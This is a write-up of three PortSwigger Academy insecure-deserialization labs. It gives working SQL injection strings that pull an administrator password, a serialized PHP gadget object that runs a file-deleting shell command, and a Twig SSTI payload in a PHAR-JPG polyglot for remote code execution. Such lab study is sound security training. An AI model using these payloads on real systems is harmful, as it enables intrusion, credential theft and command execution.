portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to Insecure Deserialization:

8 Developing a custom gadget chain for Java deserialization

This lab demonstrates how attackers can analyze and build custom gadget chains for exploiting insecure Java deserialization vulnerabilities.

9 Developing a custom gadget chain for PHP deserialization

This lab shows how attackers can create custom gadget chains tailored for PHP applications to achieve code execution through insecure deserialization.

10 Using PHAR deserialization to deploy a custom gadget chain

This lab demonstrates how attackers can leverage PHAR archives to trigger insecure PHP deserialization and execute custom gadget chains.

LAB 8 - Developing a custom gadget chain for Java deserialization

Lab Description

image

Overview: Creating Your Own Exploit for Insecure Deserialization

When pre-built gadget chains (like those in ysoserial or PHPGGC) fail to exploit an insecure deserialization vulnerability, the next step is to craft your own exploit — usually by building a custom gadget chain tailored to the application’s codebase.


1. Source Code Access is Essential


2. Find the Kick-off Gadget

🔍 If the kick-off gadget isn’t directly dangerous, it may still call other methods — these become part of the chain.


3. Trace the Execution Chain

You’re essentially looking for a sink gadget: a method where attacker-controlled data reaches a sensitive operation.


4. Build the Payload

Once you have:

You can now:

String-based formats:

Binary-based formats (e.g., Java):


5. Trigger Secondary Vulnerabilities (if applicable)

Your custom gadget chain can be a delivery mechanism for secondary attacks, such as:

Look for logic in the sink that can be combined with another class or gadget for chaining.


Summary Steps

Step Description
1. Source Review Identify magic methods and dangerous classes
2. Kick-off Gadget Locate magic method entry point
3. Gadget Chain Follow method calls to find a sink
4. Payload Crafting Serialize custom object with controlled values
5. Test and Refine Send payload and observe behavior

Solution

First when I enter carlos and enter username and password and intercept it we can see that it’s java serilized and decode the cookie

image

Let’s decode the session cookie.

image

Now if we look at the source of the html page, we can see this commented code <! — <a href=/backup/AccessTokenUser.java>Example user</a> → . Going to /backup endpoint we find two java file.

image

AccessTokenUsre.java is the class that is getting serialized and being returned in the session cookie. Pay attention to username and accessToken fields.

image

Now lets look at the ProductTemplate.java source code. ProductTemplate.readObject() method invokes inputStream.defaultReadObject(); readObject() method will be called when deserializing the serialized ProductTemplate object. Also we can see a constructor initializing field id

One more thing to notice is that, there is one sql query which is using this id field directly into the query. Clear case of sql injection here.

So our exploit steps would be 1. Create a serialized object from the product template java file obtained earlier. Put in our payload in the id field and base64 encode the serialized object 2. Use the base64 encoded value from step1 in the session cookie. Once this value is deserialized ( readObject() will be invoked ) we can exploit the sql injection using our payload in id field. 3. Sql query will be executed, since it’s in the readObject() method which will be called during deserialization 4. Note that private transient Product product is transient, so this field will not be serialized. 5. Once we extract the administrator password exploiting sql injection, we delete the carlos account and solve the lab.

image

Port Swigger already provided the sample java files which can be used to create the serialized object https://github.com/PortSwigger/serialization-examples/tree/master/java/solution. Copy the files in your local folder and compile them.

File contain in the github

image

So we intercpted file which is deserilzed and sql injection happaen in it

We will create a serialized object with value of id as ‘ — single quote.

image

image

Remainder:

image

Number of columns

But first, we will use union query to first find out the number of columns in the products table. Use the union payload “’ UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.tables –“increasing the number of NULL to find the number of columns, which will come out to be 8.

Finding out table name

**Payload **— java Main "' UNION SELECT NULL,NULL,NULL,NULL,CAST(table_name AS numeric),null,null,null from information_schema.tables -- " Error in the response <p class=is-warning>org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: &quot;users&quot;</p> revealing table name as users

image

Column name

payload1' UNION SELECT NULL,NULL,NULL,NULL,CAST(column_name AS numeric),null,null,null from information_schema.columns where table_name = 'users' -- Error in response1<p class=is-warning>org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: &quot;username&quot;</p> payload2'UNION SELECT NULL,NULL,NULL,NULL,CAST(column_name AS numeric),null,null,null from information_schema.columns where table_name = 'users' and column_name !='username'-- Error in response2<p class=is-warning>org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: &quot;password&quot;</p> now that we know the table name and column names we can extract the password of the user administrator.

Extracting administrator password

payload'UNION SELECT NULL,NULL,NULL,NULL,CAST(password AS numeric),null,null,null from users where username='administrator' -- error in response<p class=is-warning>org.apache.commons.lang3.SerializationException: java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: &quot;albhslljyvji9rxzbill&quot;</p>

image

Now we can login as administrator and delete the carlos account to solve the lab.

image

By carefully studying the source code, you can discover longer gadget chains that potentially allow you to construct high-severity attacks, often including remote code execution.


LAB 9 - Developing a custom gadget chain for PHP deserialization

Lab Description

image

Solution

Login the account and look at the cookie we can see that it might be base64 decode cookie.

image

Decoding wit base64 we get the following code O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"cftzj8vyuty1u8qbvnsufbamwguwfm4g";}

image

As we can see that in the comment we have a refernce php file

image

Accessing the file directly doesnot give me anything

image

So after entering tilde ~ sign at the end of php.The tilde ~ at the end of the file name typically indicates that it’s a backup or temporary file created by some text editors or version control systems.after that we can read it In the source code, notice that the __wakeup() magic method for a CustomTemplate will create a new Product by referencing the default_desc_type and desc from the CustomTemplate.

image

Also notice that the DefaultMa class has the __get() magic method, which will be invoked if you try to read an attribute that doesn’t exist for this object. This magic method invokes call_user_func(), which will execute any function that is passed into it via the DefaultMap->callback attribute. The function will be executed on the $name, which is the non-existent attribute that was requested. You can exploit this gadget chain to invoke exec(rm /home/carlos/morale.txt) by passing in a CustomTemplate object where:


CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt";
CustomTemplate->desc = DefaultMap;
DefaultMap->callback = "exec"

If you follow the data flow in the source code, you will notice that this causes the Product constructor to try and fetch the default_desc_type from the DefaultMap object. As it doesn’t have this attribute, the __get() method will invoke the callback exec() method on the default_desc_type, which is set to our shell command

image

To solve the lab, Base64 and URL-encode the following serialized object, and pass it into the website via your session cookie:


O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}

So we encode the above code with base64

image

And changing cookie to above base64 serilized code

image

The above base64 serilized code give us error and lab is solved

image

Even if you can’t find a gadget chain that’s ready to use, you may still gain valuable knowledge that helps you create your own custom exploit.


LAB 10 - Using PHAR deserialization to deploy a custom gadget chain

Lab Description

image

Overview: PHAR Deserialization in PHP

PHAR deserialization is a technique that allows attackers to exploit insecure deserialization vulnerabilities even when the unserialize() function is not explicitly used by the application.


What is PHAR?

PHAR stands for PHP Archive. It is a file format (like .zip) that can bundle multiple PHP files and metadata into a single package. These archives are often used for distributing PHP libraries or applications.

But here’s the key point:

PHAR files contain serialized metadata, and PHP implicitly deserializes this metadata when certain file-related operations are performed on a phar:// stream.


Exploitation Technique

1. Triggering Deserialization with phar://

PHP provides a stream wrapper called phar:// which allows access to PHAR contents via file system functions (like file_exists(), stat(), is_file(), etc.).

If you pass a PHAR file using this wrapper into one of these functions, PHP automatically deserializes the embedded metadata, even if unserialize() was never called in the code.

2. Creating a PHAR-based Exploit

3. Bypassing Upload Filters


Vulnerable Function Example

// No use of unserialize(), looks safe
if (file_exists($_GET['file'])) {
    echo "File exists.";
}

But if an attacker can pass phar://uploads/malicious.jpg, and malicious.jpg is a PHAR with a serialized payload in the metadata, then the metadata will be deserialized and any embedded magic method will be executed.


Key Takeaways

Concept Details
PHAR Archive Can contain serialized PHP metadata
Deserialization Trigger Happens when using phar:// with file operations
No unserialize() needed PHP handles deserialization implicitly
Payload Vector Malicious object with __wakeup() or __destruct()
Delivery Upload PHAR (e.g., as image polyglot) and access via phar://
Real-World Use Listed in top 10 web hacking techniques (2018)

Solution

Before we login we see cookie decode it doesnot reveal anything

image

Decoding above cookie doesnot give and serilized code.

image

After we login as winer:peter we see cookie decode it doesnot reveal anything

image

Decoding above cookie doesnot give and serilized code.

image

We need explore the website with burp suite. Ok, at the moment only viewed csrf… but not its our goal… we saw in target the /cg-bin directory, we need explore this directory

image

In here, we can upload an avatar image file. We can try to upload a valid image file:

We can also see Avatar

image

Burp Suite HTTP history:

image

image

We can see below which method is calling wiener avatar poicture

image

As you can see, it has 3 PHP files: CustomTemplate.php, Blog.php, avatar.php.

The first two of them’s source code can be view, as it appended a ~ character is the end of the extension.

image

CustomTemplate.php:

source= https://siunam321.github.io/ctf/portswigger-labs/Insecure-Deserialization/deserial-10/

As you can see, it has 3 PHP files: CustomTemplate.php, Blog.php, avatar.php. The first two of them’s source code can be view, as it appended a ~ character is the end of the extension. CustomTemplate.php:

In CustomTemplate.php, there is a class called CustomTemplate. Also, there is a __destruct() magic method, which will be invoked when the PHP script is stopped or exited. When this method is invoked, it’ll delete a file from CustomTemplate->lockFilePath(), which is templates/$CustomTemplate->template_file_path.lock. Moreover, the isTemplateLocked() method is using file_exists() method on CustomTemplate->lockFilePath() attribute.

In Blog.php, it uses Twig template engine, and there is a class called Blog. The __wakeup() magic method is interesting for us, as it’ll automatically invoked during the deserialization process. When the __wakeup() magic method is invoked, it’ll create a new object from Twig_Environment(), and it’s referring the Blog->desc attribute. Armed with above information, we can exploit SSTI (Server-Side Template Injection) and using PHAR stream to gain remote code execution!

Blog.php:

In Blog.php, it uses Twig template engine, and there is a class called Blog. The __wakeup() magic method is interesting for us, as it’ll automatically invoked during the deserialization process. When the __wakeup() magic method is invoked, it’ll create a new object from Twig_Environment(), and it’s referring the Blog->desc attribute. Armed with above information, we can exploit SSTI (Server-Side Template Injection) and using PHAR stream to gain remote code execution! • SSTI:

Now we have a SSTI payload, we can build a PHP payload:

image

This payload will set a SSTI payload in the Blog->desc attribute, which will then parsed to CustomTemplate->template_file_path. Finally, we can create a PHAR payload. According to this GitHub repository, we can create a PHAR JPG ploygot:


┌[root♥siunam]-(/opt)-[2024.01.13|13:22:05]
└> git clone https://github.com/kunte0/phar-jpg-polyglot.git;cd phar-jpg-polyglot

image

phar_jpg_polyglot.php:

image

Only change we have done in phar_jpg_polyglot.php: github code is pop exploit code

image

No run this in linux


┌[root♥siunam]-(/opt/phar-jpg-polyglot)-[2024.01.13|15:23:58]-[git://master ✗]
└> php -cphp.ini phar_jpg_polyglot.php
string(229)"O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:17:"any_user_you_want";s:4:"desc";s:106:"\{\{_self.env.registerUndefinedFilterCallback("exec")\}\}\{\{_self.env.getFilter("rm /home/carlos/morale.txt")\}\}";}}"
┌[root♥siunam]-(/opt/phar-jpg-polyglot)-[2024.01.13|15:23:58]-[git://master ✗]
└> ls-lahout.jpg     
-rw-r--r--1 root root 132K Jan 13 15:23 out.jpg

Upload it and lab is solved:

image